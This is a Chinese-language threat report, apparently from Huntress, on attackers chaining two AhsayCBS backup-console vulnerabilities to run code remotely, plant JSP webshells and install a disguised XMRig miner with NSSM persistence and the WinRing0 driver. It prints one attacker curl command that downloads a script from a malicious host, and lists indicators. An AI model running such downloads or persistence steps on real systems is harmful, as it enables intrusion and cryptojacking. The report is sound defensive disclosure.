致谢：特别感谢 Dipo Rodipe、John Hammond、Susannah Matt、Ben Nahorney 和 Lindsey Welch 对本次调查和报告的贡献。更新 10/8/26 @ 6pm ET 在进一步调查后，Huntress 确定 Ahsay 10.3.4 也受到这些漏洞的影响。之前的报告指出 10.3.4 不易受攻击；我们已更新此报告以反映我们的发现。我们还联系了 Ahsay，并分享了我们的研究细节。在补丁可用之前，我们建议限制对管理界面的访问，并调查是否有被攻陷的迹象。
背景
Huntress 正在观察威胁行为者针对 AhsayCBS（云备份服务器）中的漏洞进行攻击，AhsayCBS 是 Ahsay 系统开发的备份软件的管理控制台。AhsayCBS 主要被托管服务提供商（MSP）和系统集成商使用；它集中控制备份操作，让管理员创建和管理用户、配置备份策略等。
在 10 月 4 日，AhsayCBS 中发现了两个漏洞：
CVE-2026-105133：一个中等严重性的漏洞，影响文件 com/ahsay/obs/api/ApiStructsAction.java 的 checkSysPwd 函数，可能导致身份验证不当。
CVE-2026-105134：一个关键严重性的漏洞，影响 AhsayCBS 中的组件 Replication Receiver 的 /rps/api/json/UpdateReceivers.do，可能被利用以 NT AUTHORITY/SYSTEM 身份在主机上实现未经身份验证的远程代码执行。该 API 包含一个身份验证绕过，可能允许随机令牌替代有效凭据。经过利用后，威胁行为者配置了一个恶意接收器，并将一个 Java 服务器页面（JSP）Webshell 投放到 CBS 应用程序提供的应用程序目录中。
Huntress 观察到这两个漏洞被串联在一起，以便获得对目标系统的访问。首先，CVE-2026-105133 被用来绕过身份验证。然后，CVE-2026-105134 被用来获得代码执行。
从 2026-10-07 23:20:15 UTC 开始，Huntress 观察到威胁行为者利用这些漏洞获得未经身份验证的远程代码执行，并在暴露的系统上部署 Webshell。最初，我们注意到几个可疑的命令行从 AhsayCBS 可执行文件（cbssvcX64.exe）中生成。
图 1 和图 2：从 cbssvcX64.exe 生成的可疑子进程
以下是我们观察到的后期利用行为及对漏洞的分析，以帮助防御者提前应对这一威胁。
后期利用活动
在一些事件中，我们看到威胁行为者在利用后立即在 Web 应用程序目录中部署 .jsp Webshell。在其他几个事件中，我们观察到 cbssvcX64.exe 生成一系列命令，从 hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com 中将多个文件投放到 %TEMP% 或 ../AppData/Local/Temp 文件夹。这些文件包括 Taskgmr.ps1、msedge.exe、edge.exe 和 config.json。
加密矿工
我们还看到威胁行为者通过 XMRig 启动加密挖矿操作，XMRig 是一个合法的开源门罗币矿工，攻击者经常在被攻陷的系统上安装它，以秘密消耗 CPU 资源并为自己生成加密货币。在几个终端上，我们观察到 XMRig 矿工（edge.exe）被重命名为伪装成 Microsoft Edge 进程，并被投放到 Temp 文件夹中，随后在端口 8029 与 XMR 池（51.195.127[.]124:8029，xmr.kryptex[.]network）建立矿工网络连接。
攻击者执行 PowerShell 修改 Temp 文件夹中的 config.json，然后创建一个 Windows 服务（MicrosoftEdgeUpdateSvc），旨在看起来与实际的 Microsoft Edge 更新服务（edgeupdate）相似。该服务帮助攻击者在终端上建立持久性，并被配置为以 SYSTEM 权限从 Temp 文件夹运行 msedge.exe（之前通过 cbssvcX64.exe 的 curl 命令下载的文件之一）。
图 3：msedge.exe 的 VirusTotal 结果
进一步调查显示 msedge.exe 是合法 NSSM 工具的修改副本。NSSM 可以支持其他程序以确保它们保持运行并在崩溃或重启后重新启动，事件中的威胁行为者可能利用它来维持 edge.exe 的持久性，同时将服务相关的二进制文件伪装成看起来合法的文件。
PS1 脚本/任务管理器
Taskgmr.ps1 似乎是一个 AI 辅助脚本（鉴于注释代码），在通过 curl 启动后支持加密挖矿操作：
curl -sk -o "C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1" "http://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1" --max-time 60
该脚本具有多种内置的反分析功能。例如，它持续检查任务管理器。如果任务管理器被打开，它会停止 MicrosoftEdgeUpdateSvc 以隐藏加密挖矿活动。当任务管理器关闭时，它会再次重启它。该脚本还会在特定时间（18:00）杀死任务管理器，如果在夜间时段打开超过一小时。该脚本使用终端的本地 Get-Date 时间，而不是 UTC。
易受攻击的内核驱动
在其中一个事件中，Huntress 观察到威胁行为者使用 Windows 内置的 certutil.exe 从 hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com 下载文件到 TEMP 文件夹（C:\Users\REDACTED\AppData\Local\Temp\WinRing0x64.sys）。WinRing0x64.sys 是一个已知的合法但易受攻击的内核驱动程序，属于 WinRing0 库（来自 OpenLibSys），提供对系统硬件的低级访问。易受攻击的驱动程序通常被引入攻击中以禁用终端安全工具，但此案例似乎服务于不同的目的。
通过加载该驱动程序，攻击者使矿工能够以内核级别访问底层硬件，支持上述加密挖矿操作，提供尽可能广泛的控制和性能。